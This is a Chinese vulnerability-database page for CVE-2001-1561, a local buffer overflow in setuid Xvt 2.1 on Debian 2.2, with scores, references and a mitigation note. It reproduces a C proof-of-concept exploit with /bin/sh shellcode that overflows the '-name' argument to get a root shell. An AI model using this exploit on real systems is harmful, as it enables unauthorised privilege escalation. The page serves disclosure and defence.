CVE-2001-1561
CVSS7.2
发布时间 :2001-12-31 00:00:00
修订时间 :2008-09-05 16:26:51
NMCOE    

[原文]Buffer overflow in Xvt 2.1 in Debian Linux 2.2 allows local users to execute arbitrary code via long (1) -name and (2) -T arguments.


[CNNVD]Xvt缓冲区溢出漏洞(CNNVD-200112-235)

        Debian Linux 2.2版本的Xvt 2.1版本存在缓冲区溢出漏洞。本地用户可以借助超长(1)-name (2)-T参数执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:debian:debian_linux:2.2Debian Debian Linux 2.2
cpe:/a:john_bovey:xvt:2.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1561
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1561
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-235
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2964
(PATCH)  BID  2964
http://www.debian.org/security/2001/dsa-082
(VENDOR_ADVISORY)  DEBIAN  DSA-082
http://www.securityfocus.com/bid/2955
(UNKNOWN)  BID  2955
http://www.iss.net/security_center/static/6781.php
(UNKNOWN)  XF  xvt-command-line-bo(6781)
http://archives.neohapsis.com/archives/bugtraq/2001-07/0024.html
(UNKNOWN)  BUGTRAQ  20010702 Xvt 2.1 vulnerability

- 漏洞信息

Xvt缓冲区溢出漏洞
高危 缓冲区溢出
2001-12-31 00:00:00 2006-01-27 00:00:00
本地  
        Debian Linux 2.2版本的Xvt 2.1版本存在缓冲区溢出漏洞。本地用户可以借助超长(1)-name (2)-T参数执行任意代码。

- 公告与补丁

        Remote the setuid/setgid bits from 'xvt' until a fix is available.
        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (20986)

Xvt 2.1 Buffer Overflow Vulnerability (EDBID:20986)
linux local
2001-07-02 Verified
0 Christophe Bailleux
N/A [点击下载]
source: http://www.securityfocus.com/bid/2955/info

Xvt is a terminal emulator for systems using X11R6. It is often installed setuid/setgid so that it runs with the enhanced privileges required to log user sessions.

Xvt contains a buffer overflow in it's handling of the '-name' argument.

An attacker can exploit this buffer overflow to exploit arbitrary code with the enhanced privileges of Xvt. On some systems Xvt is installed setuid root. This may not be the case for all systems. 

/*

   /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr.

   tshaw:~$ ./expl
   bash#

*/

#include <stdio.h>
#include <stdlib.h>

int main()

{

    char buf[234];
    int i;

    char code[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    for(i=0; i<76; i++)
        buf[i] = 0x41;

    *(long *)&buf[76]=0xbffffab0; /* ret addr */

    memset(buf + 80, 0x90, 234);
    memcpy(buf + 233 - strlen(code), code, strlen(code));

    buf[234] = '\0';

    execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);                           

}
		

- 漏洞信息

20355
Debian Linux xvt Multiple Argument Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2001-07-02 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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